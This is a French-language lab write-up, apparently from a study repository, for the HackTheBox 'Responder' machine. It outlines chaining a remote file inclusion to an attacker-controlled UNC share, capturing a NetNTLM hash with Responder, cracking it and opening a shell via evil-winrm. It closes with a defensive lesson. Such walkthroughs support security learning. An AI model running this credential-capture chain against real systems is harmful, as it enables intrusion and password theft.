⬅ Retour à Starting Point · 🏠 Accueil du repo
Machine 8 — Responder¶
RFI → capture NTLM → WinRM — Ports 80, 5985
| Tier | 2 |
| OS | Windows |
| Services | HTTP/IIS (80) · WinRM (5985) |
Concept¶
Chaîner une inclusion de fichier distant (RFI) avec la capture de hashs d'authentification NTLM pour obtenir un accès Windows via WinRM.
flowchart LR
A["nmap -sC -sV"] --> B["IIS 80<br/>WinRM 5985"]
B --> C["RFI : paramètre pointe<br/>vers une UNC attaquant"]
C --> D["responder -I tun0<br/>écoute SMB"]
D --> E["Capture hash NetNTLM<br/>utilisateur mike"]
E --> F["Crack hashcat/john<br/>→ mot de passe clair"]
F --> G["evil-winrm -u mike<br/>→ flag"]
Méthodologie¶
Scan de ports¶
Remote File Inclusion (RFI)¶
Un paramètre du site web pointe vers une ressource UNC contrôlée par l'attaquant (ex : \\<ton_IP>\share).
Capture du hash NetNTLM¶
La cible tente de s'authentifier auprès du partage SMB contrôlé — Responder capture le hash NetNTLM de l'utilisateur mike.
Craquage du hash¶
Accès WinRM¶
Points clés¶
- Une RFI force la cible à contacter une ressource distante contrôlée par l'attaquant.
- Responder capture les hashs NetNTLM envoyés lors de cette tentative d'authentification automatique.
evil-winrmfournit un shell interactif sur Windows via le protocole WinRM.
Leçon retenue¶
Restreindre strictement l'inclusion de fichiers distants côté applicatif, et désactiver l'authentification NTLM sortante non nécessaire.
⬅ Précédent : Oasis · ⬆ Index Starting Point · Suivant : Three ➡